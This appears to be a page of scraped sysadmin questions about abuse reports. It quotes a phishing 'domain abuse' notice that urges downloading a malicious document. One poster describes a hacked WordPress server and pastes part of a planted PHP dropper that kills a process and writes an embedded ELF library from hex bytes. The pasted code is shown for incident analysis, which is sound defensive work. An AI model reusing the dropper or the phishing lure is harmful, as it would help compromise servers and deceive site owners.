Questions[abuse](server)

I'm setting up a small business that will be providing internet service for a niche market. We'll be offering fully unrestricted and unmonitored (as much as the law allows - and while we'd rather not we will still have the ability to capture packets if justified) internet access, and I am not sure how should we respond to abuse reports (a Google search didn't find anything relevant).

Let's say I get an e-mail about SSH bruteforce coming from one of our customer's IPs. How do I tell whether it's genuine and not a troll (log entries and even .pcaps can be faked)? How do the big ISPs do it (for those that actually care about abuse reports I mean)?

Similarly, complaints about spam e-mail, how do I check whether they're genuine before acting upon them? Is this even a problem? Have there been instances where trolls would report someone for allegedly doing bad stuff in hopes of getting them in trouble with their provider?

Am I condemned to log every single packet leaving my network or is there an industry standard solution that doesn't go to such extremes?

Regards.

I have received domain abuse notice email from [email protected].

The mail asks to download a Word Document which I believe contains a virus.

Dear Domain Owner,

Our system has detected that your domain: example.com is being used for spamming and spreading malware recently.

You can download the detailed abuse report of your domain along with date/time of incidents. Click Here

We have also provided detailed instruction on how to delist your domain from our blacklisting.

Please download the report immediately and take proper action within 24 hours otherwise your domain will be suspended permanently.

There is also possibility of legal action depend on severity and persistence of your abuse case.

Three Simple Steps:

1. Download your abuse report.
2. Check your domain abuse incidents along with date and time.
3. Take few simple steps for prevention and to avoid domain suspension.

Click Here to Download your Report

Please look into it and contact us.

I want to know if I have missed enabling/configuring something on the ISP side or did I leave some email address on my domain because of which these spammers have targeted me as well.

Are there ways to protect / configure my domain to avoid these emails?

I am beginner system admin on a bunch of virtualized web servers. Recently we got an e-mail that one of our servers is being used for 'brute force' attacks. The content of the e-mail was similar to the following.

Greetings,

/somehost/ abuse team like to inform you, that we have had mass bruteforce attempts to the Joomla/WordPress control panel on the our shared-hosting server /somehost/.ru /ip-number/ from your network, from IP address /my-ip-address/

During the last 30 minutes we recorded 1500 attempts like this:

/my-ip-address/ /their-domain/ - [12/Jan/2014:13:29:05 +0400] "POST /wp-login.php HTTP/1.0" 200 3170 "-" "-"

/my-ip-address/ /their-domain/ - [12/Jan/2014:13:29:05 +0400] "POST /wp-login.php HTTP/1.0" 200 3170 "-" "-"

/my-ip-address/ /their-domain/ - [12/Jan/2014:13:29:05 +0400] "POST /wp-login.php HTTP/1.0" 200 3170 "-" "-"

/my-ip-address/ /their-domain/ - [12/Jan/2014:13:29:06 +0400] "POST /wp-login.php HTTP/1.0" 200 3170 "-" "-"

/my-ip-address/ /their-domain/ - [12/Jan/2014:13:29:06 +0400] "POST /wp-login.php HTTP/1.0" 200 3170 "-" "-"

Total number of this attempts that have been recorded previously at this server (/some-host/.ru)[/their-ip/]:

====

This message was sent automatically by /some-company-name/ security system. Yor e-mail address obtained from the public WhoIs services. We are sorry for disturb if you have received this message by mistake. Please contact us if your e-mail is not relevant to this IP-address or network.

====

Thank you, /somehost/ abuse team

http:// /somehost/ dot ru

/some tel number in russia/,

/some more contact data in russia/

• What should I think about this e-mail? Is this a scam or a important message that should not be ignored?

I find it strange that they write "Joomla/Wordpress" when it can obviously be seen in their logs that "wp-login.php" is a PHP script from WordPress.

On our server we host several WordPress blogs via Webmin/Virtualmin and a Squid server that is not accessible from outside.

I observed the traffic with iftop and nethogs for a while and can't see anything suspicious. The squid access log seems normal to me.

We can see lots of attempts to log in to our server in the "secure" log but no one manages it to gain access.

See following dump from secure.

an 12 02:35:19 /server/ saslauthd[2186]: pam_unix(smtp:auth): check pass; user unknown
Jan 12 02:35:19 /server/ saslauthd[2186]: pam_unix(smtp:auth): authentication failure; logname= uid=0 euid=0 tty= ruser= rhost=
Jan 12 02:35:19 /server/ saslauthd[2186]: pam_succeed_if(smtp:auth): error retrieving information about user thomas

And another one.

Jan 12 03:00:29 /server/ sshd[21948]: Invalid user anton from 109.7.72.130
Jan 12 03:00:29 /server/ sshd[21949]: input_userauth_request: invalid user anton
Jan 12 03:00:29 /server/ sshd[21948]: pam_unix(sshd:auth): check pass; user unknown
Jan 12 03:00:29 /server/ sshd[21948]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=130.72.7.109.rev.sfr.net
Jan 12 03:00:29 /server/ sshd[21948]: pam_succeed_if(sshd:auth): error retrieving information about user anton
Jan 12 03:00:32 /server/ sshd[21948]: Failed password for invalid user anton from 109.7.72.130 port 40925 ssh2
Jan 12 03:00:32 /server/ sshd[21949]: Received disconnect from 109.7.72.130: 11: Bye Bye

With "who" I can clearly see that only I am logged in via SSH.

Today I updated all Webmin and Virtualmin modules ans Squid to the newest versions.

• What should we do now? What should be our next steps to secure the server from being used for attacks?
• Is it even necessary?
• What log files or configuration should we change/look at?

EDIT:

What I have done until now:

• I checked files that changed at attack date (we had almost 50GB traffic on our IP according to our provider) with find / -type f -name "*" -newermt 2014-01-12 ! -newermt 2014-01-12 > out.log. Nothing changed.
• I checked AWStats for all our domains. Not even one domain transferred over 40MB according to AWStats.
• WordPress was up to date on attack day.
• I updated all Webmin and Virtualmin modules.
• I updated squid and changed its port to something else than 3128. I left only 80, 443 and 21 as "safe" ports.
• I updated fail2ban.

I don't want to disconnect the server from the internet as suggested in How do I deal with a compromised server?. Our data is backed up so we are currently safe. However I would like to find out what caused the attack but I am still not able to achieve that.

EDIT 15.01.2014:

With nethogs I was able to find out that /usr/bin/host is receiving and sending much more data than expected.

NetHogs version 0.8.0

  PID USER     PROGRAM                                                                                                 DEV        SENT      RECEIVED
10267 /domain//usr/bin/host                                                                                           eth0     120.571     791.124 KB/sec
30517 /domain/sshd: /domain/@pts/0                                                                                  eth0       2.177       0.111 KB/sec
?     root     /ip-address/:39586-119.247.224.98:80                                                                             0.000       0.000 KB/sec
?     root     /ip-address/:55718-69.163.148.232:80                                                                             0.000       0.000 KB/sec
?     root     /ip-address/:38474-184.154.230.15:80                                                                             0.000       0.000 KB/sec
?     root     /ip-address/:46593-66.7.212.199:80                                                                               0.000       0.000 KB/sec
?     root     /ip-address/:58733-202.232.144.194:80                                                                            0.000       0.000 KB/sec
?     root     /ip-address/:41154-83.170.122.1:80                                                                               0.000       0.000 KB/sec
?     root     /ip-address/:39996-98.129.229.146:80                                                                             0.000       0.000 KB/sec
?     root     /ip-address/:39872-98.129.229.146:80                                                                             0.000       0.000 KB/sec
?     root     /ip-address/:37429-144.76.15.247:80                                                                              0.000       0.000 KB/sec
?     root     /ip-address/:35063-216.12.197.226:80                                                                             0.000       0.000 KB/sec
?     root     /ip-address/:51335-153.120.33.64:80                                                                              0.000       0.000 KB/sec
?     root     /ip-address/:58344-64.207.178.120:80                                                                             0.000       0.000 KB/sec
?     root     /ip-address/:55848-69.163.148.232:80                                                                             0.000       0.000 KB/sec
?     root     /ip-address/:46799-66.7.212.199:80                                                                               0.000       0.000 KB/sec
?     root     /ip-address/:38110-66.155.9.238:80                                                                               0.000       0.000 KB/sec
?     root     /ip-address/:39713-76.74.254.120:80                                                                              0.000       0.000 KB/sec
?     root     /ip-address/:33814-209.217.227.30:80                                                                             0.000       0.000 KB/sec
?     root     /ip-address/:41009-212.113.141.212:80                                                                            0.000       0.000 KB/sec
?     root     /ip-address/:57027-173.11.110.117:80                                                                             0.000       0.000 KB/sec
?     root     /ip-address/:45436-83.222.250.186:80                                                                             0.000       0.000 KB/sec
?     root     /ip-address/:59143-202.232.144.194:80                                                                            0.000       0.000 KB/sec
?     root     /ip-address/:43357-217.9.42.182:80                                                                               0.000       0.000 KB/sec
?     root     /ip-address/:32981-82.113.145.170:80                                                                             0.000       0.000 KB/sec
?     root     unknown TCP                                                                                                        0.000       0.000 KB/sec

  TOTAL                                                                                                                         122.749     791.235 KB/sec

When running lsof on the PID you can clearly see that something is really awry with the WordPress installation.

[root@/domain/ logs]# lsof | grep 1706
host       1706 /domain/  cwd       DIR              253,0     4096      10178 /home//domain//public_html/wp-content/themes/twentyeleven
host       1706 /domain/  rtd       DIR              253,0     4096          2 /
host       1706 /domain/  txt       REG              253,0   137592    1054438 /usr/bin/host
host       1706 /domain/  mem       REG              253,0   156928    1178048 /lib64/ld-2.12.so
host       1706 /domain/  mem       REG              253,0    22536    1178065 /lib64/libdl-2.12.so
host       1706 /domain/  mem       REG              253,0  1926800    1178057 /lib64/libc-2.12.so
host       1706 /domain/  mem       REG              253,0   145896    1178061 /lib64/libpthread-2.12.so
host       1706 /domain/  mem       REG              253,0    91096    1178098 /lib64/libz.so.1.2.3
host       1706 /domain/  mem       REG              253,0   358560    1051774 /usr/lib64/libisc.so.83.0.3
host       1706 /domain/  mem       REG              253,0   599384    1178963 /lib64/libm-2.12.so
host       1706 /domain/  mem       REG              253,0   124624    1178074 /lib64/libselinux.so.1
host       1706 /domain/  mem       REG              253,0   113952    1178072 /lib64/libresolv-2.12.so
host       1706 /domain/  mem       REG              253,0  1674840    1050692 /usr/lib64/libdns.so.81.4.1
host       1706 /domain/  mem       REG              253,0   140568    1051828 /usr/lib64/libisccfg.so.82.0.1
host       1706 /domain/  mem       REG              253,0    34696    1051827 /usr/lib64/libisccc.so.80.0.0
host       1706 /domain/  mem       REG              253,0    17256    1178085 /lib64/libcom_err.so.2.1
host       1706 /domain/  mem       REG              253,0  1953536    1050724 /usr/lib64/libcrypto.so.1.0.1e
host       1706 /domain/  mem       REG              253,0    12592    1178067 /lib64/libkeyutils.so.1.3
host       1706 /domain/  mem       REG              253,0    46368    1178081 /lib64/libkrb5support.so.0.1
host       1706 /domain/  mem       REG              253,0    19016    1178989 /lib64/libcap.so.2.16
host       1706 /domain/  mem       REG              253,0   944712    1178089 /lib64/libkrb5.so.3.3
host       1706 /domain/  mem       REG              253,0   177520    1178083 /lib64/libk5crypto.so.3.1
host       1706 /domain/  mem       REG              253,0   209120    1180550 /lib64/libidn.so.11.6.1
host       1706 /domain/  mem       REG              253,0   280520    1178096 /lib64/libgssapi_krb5.so.2.2
host       1706 /domain/  mem       REG              253,0    52944    1051829 /usr/lib64/libbind9.so.80.0.4
host       1706 /domain/  mem       REG              253,0    75936    1052874 /usr/lib64/liblwres.so.80.0.2
host       1706 /domain/  mem       REG              253,0    21152    1178987 /lib64/libattr.so.1.1.0
host       1706 /domain/  mem       REG              253,0  1383368    1051772 /usr/lib64/libxml2.so.2.7.6
host       1706 /domain/  DEL       REG              253,0                 656 /home//domain//public_html/wp-content/themes/twentyeleven/bruteforce.so
host       1706 /domain/  mem       REG              253,0    27424    1178071 /lib64/libnss_dns-2.12.so
host       1706 /domain/  mem       REG              253,0    65928    1178073 /lib64/libnss_files-2.12.so
host       1706 /domain/  mem       REG              253,0 12582912      11739 /home//domain//public_html/wp-content/themes/twentyeleven/.sd0
host       1706 /domain/  DEL       REG              253,0                 655 /home//domain//public_html/wp-content/themes/twentyeleven/libworker.so
host       1706 /domain/    0r      CHR                1,3      0t0       3782 /dev/null
host       1706 /domain/    1r      CHR                1,3      0t0       3782 /dev/null
host       1706 /domain/    2r      CHR                1,3      0t0       3782 /dev/null
host       1706 /domain/    3r      CHR                1,3      0t0       3782 /dev/null
spamd     18546        root  mem       REG              253,0    37000    1317060 /usr/lib64/perl5/auto/List/Util/Util.so
spamd     18548        root  mem       REG              253,0    37000    1317060 /usr/lib64/perl5/auto/List/Util/Util.so
spamd     18549        root  mem       REG              253,0    37000    1317060 /usr/lib64/perl5/auto/List/Util/Util.so

I will have to take a look at home//domain//public_html/wp-content/themes/twentyeleven/bruteforce.so.

Simply all files that changed in January 2014 are not in the standard Twenty Eleven theme installation of WordPress. For example there is a script called initvsafe.php which can be used to store files in the file system.

<?php

header("Content-type: text/plain");

if (! function_exists('file_put_contents')) {
        function file_put_contents($filename, $data) {
                $f = @fopen($filename, 'w');
                if (! $f)
                        return false;
                $bytes = fwrite($f, $data);
                fclose($f);
                return $bytes;
        }
}

@system("killall -9 ".basename("/usr/bin/host"));

$so32 = "\x7f\x45\x4c\x46\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x03\x00\x01\x00\x00\x00\x54\x0d\x00\x00\x34\x00\x00\x00\x48\x69\x00\x00\x00\x00\x00\x00\x34\x00\x20\x00\x03\x00\x28\x00\x0f\x00\x0c\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xf0\x60\x00\x00\xf0\x60\x00\x00\x05\x00\x00\x00\x00\x10\x00\x00\x01\x00\x00\x00\xf0\x60\x00\x00\xf0\x70\x00\x00\xf0\x70\x00\x00\xf0\x07\x00\x00\xac\x61\x00\x00\x06\x00\x00\x00\x00\x10\x00\x00\x02\x00\x00\x00\xf0\x60\x00\x00\xf0\x70\x00\x00\xf0\x70\x00\x00\x90\x00\x00\x00\x90\x00\x00\x00\x06\x00\x00\x00\x04\x00\x00\x00\x25\x00\x00\x00\x3c\x00\x00\x00\x21\x00\x00\x00\x31\x00\x00\x00\x18\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00\x30\x00\x00\x00\x07\x00\x00\x00\x00\x00\x00\x00\x2c\x00\x00\x00\x11\x00\x00\x00\x1c\x00\x00\x00\x28\x00\x00\x00\x2f\x00\x00\x00\x3b\x00\x00\x00\x29\x00\x00\x00\x39\x00\x00\x00\x15\x00\x00\x00\x05\x00\x00\x00\x2d\x00\x00\x00\x00\x00\x00\x00\x38\x00\x00\x00\x33\x00\x00\x00\x1b\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x24\x00\x00\x00\x00\x00\x00\x00\x32\x00\x00\x00\x1e\x00\x00\x00\x3a\x00\x00\x00\x2a\x00\x00\x00\x34\x00\x00\x00\x36\x00\x00\x00\x23\x00\x00\x00\x0b\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00

...

I am running a small (Windows-based) server. When I check the logs, I see a steady flow of (unsuccesfull) password-guessing hacking attempts. Should I try to report those attempts to the owners of the source IP addresses, or are these attempts nowadays considered completely normal and nobody would bother doing anything about them, anyway?

I work for a service provider, and we've suffered an attack. We've learned from it, but nonetheless it has cost us. The good thing is we have pcap traces of the event, and IP addresses.

Now my question is, how does one send a good abuse mail to the other provider?

The situation complicates, because there is money involved, and the other provider is a regular ISP serving private people, in another country. We'd love to see our money back, but has anyone ever succeeded at doing that?